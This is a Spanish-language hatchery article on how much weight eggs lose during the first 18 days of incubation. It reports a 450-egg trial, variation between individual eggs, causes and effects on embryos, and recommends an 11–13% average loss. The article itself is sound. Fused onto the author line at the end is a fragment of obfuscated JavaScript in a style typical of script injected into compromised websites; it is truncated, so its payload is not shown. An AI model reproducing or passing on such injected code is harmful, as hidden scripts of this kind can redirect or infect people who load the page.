Es necesaria la disminución de peso para el desarrollo embrionario adecuado y para generar una cámara de aire que sostenga la ventilación pulmonar.
En los primeros 18 días de incubación, el huevo tiene que perder entre 11% y 13% de su peso original. Es necesaria esta disminución de peso para el desarrollo embrionario adecuado y para generar una cámara de aire que sea lo suficientemente grande para dar sostén a la ventilación pulmonar desde que pican internamente hasta el nacimiento.
En algunas plantas de incubación se mide la disminución de peso del huevo como parte de un procedimiento estándar. Generalmente, se pesan un par de bandejas de incubadora por parvada o por incubadora antes de la colocación y luego al día 18 de incubación para determinar el promedio de disminución de peso.
Esta información se puede usar para optimizar las condiciones de la incubación. Pero, ¿qué pasa con la variación individual entre cada huevo?
Disminución de peso del huevo individual
Para responder a esta pregunta, realizamos una pequeña prueba con 450 huevos de tres parvadas diferentes (misma estirpe, a la semana 30). Los huevos se marcaron y pesaron individualmente antes de colocarlos y al día 18 de incubación. Se eliminaron del estudio los huevos no eclosionados y con grietas visibles.
Los resultados muestran la variación de disminución del peso de los huevos individuales. El promedio de disminución de peso de la parvada A, B y C fue 10.1%, 11.6% y 10.8%, respectivamente. La disminución mínima de peso fue de 7.1%, 4.9% y 6.7%, respectivamente. La máxima fue 19.3%, 26.6% y 22.3% (sin grietas). Un análisis de rompimiento de huevos de los no eclosionados no mostró señales de disminución de peso demasiada alta o muy baja.
Causas de la variación
Si se da por sentado que las condiciones ambientales de temperatura y humedad relativa son iguales, las posibles causas de la variación de disminución de peso pueden ser diferencias en la estructura de los poros, dureza del cascarón o anormalidades en la estructura de la cáscara como las manchas.
Las disminuciones de peso muy altas pueden deberse a cáscaras delgadas debidas a enfermedades como la bronquitis infecciosa aviar (IB) o a grietas muy delgadas.
Efecto en el embrión y la calidad del pollito
Los resultados de esta pequeña prueba indican que los embriones son capaces de nacer dentro de un amplio espectro de disminución de peso (de 5% a 27%). Esto concuerda con un estudio (Davis, 1988) en el que el rango era de 6% a 20%. Ese estudio mostró que los embriones que afrontan pérdida de agua extrema logran sobrevivir reciclando agua y redistribuyéndola entre los compartimientos (extra) embriónicos. Se encontró albúmina en exceso en huevos de 21 días que habían perdido tan solo 6% de peso. Una disminución de peso mayor al 20% resultó en deshidratación del líquido amniótico, sangre y piel del embrión, así como agotamiento temprano del líquido alantoideo.
Una disminución de peso extremadamente baja y alta ocasiona estrés osmótico del embrión en desarrollo. La membrana corioalantoidea y los riñones trabajan juntos para mantener las homeostasis osmótica e iónica. Las pérdidas subóptimas de agua influyen en el desarrollo morfológico de los riñones (Bolin y Burggren, 2016). Cuando se superan los límites de una disminución de peso extrema, algunos embriones no eclosionarán debido a cámaras de aire demasiado pequeñas o como resultado de no poder mantener una homeostasis osmótica adecuada.
Conclusiones
Dirigirse al objetivo de una disminución de peso promedio de 11% a 13%, mantendrá a la mayoría de los embriones dentro de los límites aceptables.
Evite una disminución de peso promedio demasiado baja (<10%) para prevenir que la cámara de aire sea demasiado pequeña para que el pollito nazca de forma adecuada.
Una calidad deficiente de la cáscara de huevo puede llevar a la disminución de peso extrema del individual (>20%). Como consecuencia, estos embriones se enfrentan a estrés osmótico y cambios de desarrollo durante la incubación.
Lotte Hebbink es especialista en incubación en Pas Reform Academy. function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const 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